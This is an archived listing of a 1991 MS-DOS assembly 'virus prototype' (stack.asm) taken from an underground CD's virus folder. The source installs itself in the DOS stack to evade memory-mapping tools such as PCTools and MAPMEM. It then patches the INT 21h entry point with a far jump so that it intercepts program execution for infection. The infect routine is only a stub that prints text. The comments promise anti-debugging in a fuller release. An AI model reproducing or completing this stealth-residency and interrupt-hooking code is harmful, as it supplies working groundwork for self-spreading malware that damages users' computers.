home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / s / stack.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.2 KB  |  198 lines

  1. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2.  
  3. ;▒                                          ▒
  4.  
  5. ;▒            V I R U S   P R O T O T Y P E                  ▒
  6.  
  7. ;▒                                          ▒
  8.  
  9. ;▒   Author    : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ▒
  10.  
  11. ;▒   Date    : 25 Jan 1991     21:05                          ▒
  12.  
  13. ;▒   Function    : Found DOS stack in put himself in it. Then trace DOS          ▒
  14.  
  15. ;▒          function EXEC and type 'Infect File'                        ▒
  16.  
  17. ;▒                                          ▒
  18.  
  19. ;▒                                          ▒
  20.  
  21. ;▒     If you want to have fun with this program just run file STACK.COM    ▒
  22.  
  23. ;▒  Don't worry, this is not a virus yet, just try to find him in memory      ▒
  24.  
  25. ;▒  with PCTools and/or MAPMEM. If you can -> just erase the source - it is   ▒
  26.  
  27. ;▒  useless for you. If you can't -> you don't have to look at it - it is too ▒
  28.  
  29. ;▒  difficult to you to understand it.                          ▒
  30.  
  31. ;▒                         Best regards, Waleri Todorov     ▒
  32.  
  33. ;▒                                          ▒
  34.  
  35. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.         mov    ah,52h        ; Get DOS segmenty
  46.  
  47.         int    21h
  48.  
  49.  
  50.  
  51.         cmp    ax,1234h    ; Also check for already here
  52.  
  53.         jne    Install     ; If not -> install in memory
  54.  
  55. ReturnControl
  56.  
  57.  
  58.  
  59.         int    20h        ; This program will give control
  60.  
  61.                     ; to main file
  62.  
  63. Install
  64.  
  65.         mov    ax,es        ; mov DOS segment in AX
  66.  
  67.         mov    DosSeg,ax    ; Save DOS segment for further usage
  68.  
  69.         mov    ds,ax        ; DS now point in DOS segment
  70.  
  71.  
  72.  
  73.         call    SearchDos    ; Search DOS entry point
  74.  
  75.         call    SearchStack    ; Search DOS stack
  76.  
  77.  
  78.  
  79.         push    cs        ; DS=ES=CS
  80.  
  81.         push    cs
  82.  
  83.         pop    ds
  84.  
  85.         pop    es
  86.  
  87.  
  88.  
  89.         mov    ax,DosSeg    ; get DOS segment in AX
  90.  
  91.         mov    cl,4        ; AX*=16
  92.  
  93.         shl    ax,cl
  94.  
  95.         mov    bx,StackOff    ; Stack new begin in BX
  96.  
  97.         and    bx,0FFF0h    ; Mask low 4 bit
  98.  
  99.         add    ax,bx        ; Compute new real address
  100.  
  101.         mov    cl,4        ; AX/=16
  102.  
  103.         shr    ax,cl        ; Now we get SEGMENT:0000
  104.  
  105.         sub    ax,10h        ; Segment-=10-> SEG:100h
  106.  
  107.         mov    StackOff,ax    ; Save new segment for further usage
  108.  
  109.         mov    es,ax        ; ES point in DOS New area
  110.  
  111.         mov    si,100h     ; ES:DI -> DOS:free_space_in_stack
  112.  
  113.         mov    di,si        ; DS:SI Current segment
  114.  
  115.         mov    cx,512d     ; Virus is only 512 bytes long
  116.  
  117.         rep    movsb        ; Move virus to new place
  118.  
  119.  
  120.  
  121. ; Installing virus in DOS' stack we will avoid a conflict with PCTools,
  122.  
  123. ; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
  124.  
  125. ; affected, so if you have program, that count DOS' buffers to found
  126.  
  127. ; Beast666, she won't found anything.
  128.  
  129. ; In further release of full virus I will include anti-debugger system,
  130.  
  131. ; so you will not be able to trace virus
  132.  
  133.  
  134.  
  135.         mov    di,DosOff    ; ES:DI point to DOS int21 entry point
  136.  
  137.         mov    ax,DosSeg
  138.  
  139.         mov    es,ax
  140.  
  141.         mov    al,0EAh     ; JMP    XXXX:YYYY
  142.  
  143.         stosb
  144.  
  145.         mov    ax,offset Entry21
  146.  
  147.         stosw            ; New 21 handler's offset
  148.  
  149.         mov    ax,StackOff
  150.  
  151.         stosw            ; New 21 handler's segment
  152.  
  153.  
  154.  
  155.  
  156.  
  157. ; Now DOS will make far jump to virus. In case that virus won't
  158.  
  159. ; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
  160.  
  161. ; and DOSEDIT will operate correctly (with several virus he don't).
  162.  
  163.  
  164.  
  165.         inc    di
  166.  
  167.         inc    di
  168.  
  169.         mov    Int21off,di    ; Virus will call DOS after jump
  170.  
  171.         jmp    ReturnControl    ; Return control to file
  172.  
  173.  
  174.  
  175. ; At this moment, return control is just terminate program via int 20h.
  176.  
  177. ; In further release of full virus this subroutine will be able to
  178.  
  179. ; return control to any file (COM or EXE).
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187. ; These are two scanners subroutine. All they do are scanning DOS segment
  188.  
  189. ; for several well-known bytes. Then they update some iternal variables.
  190.  
  191. ; Be patience, when debug this area!
  192.  
  193.  
  194.  
  195. SearchDos
  196.  
  197.         mov    ax,cs:[DosSeg]
  198.  
  199.         mov    ds,ax
  200.  
  201.         xor    si,si
  202.  
  203.  
  204.  
  205. Search1
  206.  
  207.         lodsw
  208.  
  209.         cmp    ax,3A2Eh
  210.  
  211.         je    NextDos1
  212.  
  213.         dec    si
  214.  
  215.         jmp    short Search1
  216.  
  217. NextDos1
  218.  
  219.         lodsb
  220.  
  221.         cmp    al,26h
  222.  
  223.         je    LastDos
  224.  
  225.         sub    si,2
  226.  
  227.         jmp    short Search1
  228.  
  229. LastDos
  230.  
  231.         inc    si
  232.  
  233.         inc    si
  234.  
  235.         lodsb
  236.  
  237.         cmp    al,77h
  238.  
  239.         je    FoundDos
  240.  
  241.         sub    si,5
  242.  
  243.         jmp    short Search1
  244.  
  245. FoundDos
  246.  
  247.         inc    si
  248.  
  249.         mov    cs:[Int21off],si
  250.  
  251.         sub    si,7
  252.  
  253.         mov    cs:[DosOff],si
  254.  
  255.         ret
  256.  
  257.  
  258.  
  259. SearchStack
  260.  
  261.         xor    si,si
  262.  
  263. Search2
  264.  
  265.         lodsw
  266.  
  267.         cmp    ax,0CB8Ch
  268.  
  269.         je    NextStack1
  270.  
  271.         dec    si
  272.  
  273.         jmp    short Search2
  274.  
  275. NextStack1
  276.  
  277.         lodsw
  278.  
  279.         cmp    ax,0D38Eh
  280.  
  281.         je    NextStack2
  282.  
  283.         sub    si,3
  284.  
  285.         jmp    short Search2
  286.  
  287. NextStack2
  288.  
  289.         lodsb
  290.  
  291.         cmp    al,0BCh
  292.  
  293.         je    FoundStack
  294.  
  295.         sub    si,4
  296.  
  297.         jmp    short Search2
  298.  
  299. FoundStack
  300.  
  301.         mov    di,si
  302.  
  303.         lodsw
  304.  
  305.         sub    ax,200h
  306.  
  307.         stosw
  308.  
  309.         mov    cs:[StackOff],ax
  310.  
  311.         ret
  312.  
  313.  
  314.  
  315. Entry21                 ; Here is new int 21 handler
  316.  
  317.         cmp    ah,52h        ; If GET_LIST_OF_LISTS
  318.  
  319.         jne    NextCheck
  320.  
  321.  
  322.  
  323.         mov    ax,1234h    ; then probably I am here
  324.  
  325.         mov    bx,cs:[DosSeg]    ; so return special bytes in AX
  326.  
  327.         mov    es,bx
  328.  
  329.         mov    bx,26h
  330.  
  331.         iret            ; Terminate AH=52h->return to caller
  332.  
  333. NextCheck
  334.  
  335.         cmp    ax,4B00h    ; If EXEC file
  336.  
  337.         jne    GoDos
  338.  
  339.         call    Infect        ; then file will be infected
  340.  
  341. GoDos
  342.  
  343.         jmp    dword ptr cs:[Int21off]
  344.  
  345.                     ; Otherwise jump to DOS
  346.  
  347. Infect
  348.  
  349.         push    ds        ; At this moment just write on screen
  350.  
  351.         push    dx
  352.  
  353.         push    ax
  354.  
  355.  
  356.  
  357.         push    cs
  358.  
  359.         pop    ds
  360.  
  361.         mov    dx,offset Txt
  362.  
  363.         mov    ah,9
  364.  
  365. CallDos
  366.  
  367.         pushf            ; Call real DOS
  368.  
  369.         call    dword ptr cs:[Int21off]
  370.  
  371.  
  372.  
  373.         pop    ax
  374.  
  375.         pop    dx
  376.  
  377.         pop    ds
  378.  
  379.         ret
  380.  
  381.  
  382.  
  383. Int21off    dw    0    ; Offset of DOS 21 AFTER jump to virus
  384.  
  385. DosSeg        dw    0    ; DOS segment
  386.  
  387. StackOff    dw    0    ; Offset of stack/New segment
  388.  
  389. DosOff        dw    0    ; Offset of DOS 21 BEFIRE jump
  390.  
  391. Txt        db    'Infect File$'  ; Dummy text
  392.  
  393.  
  394.  
  395.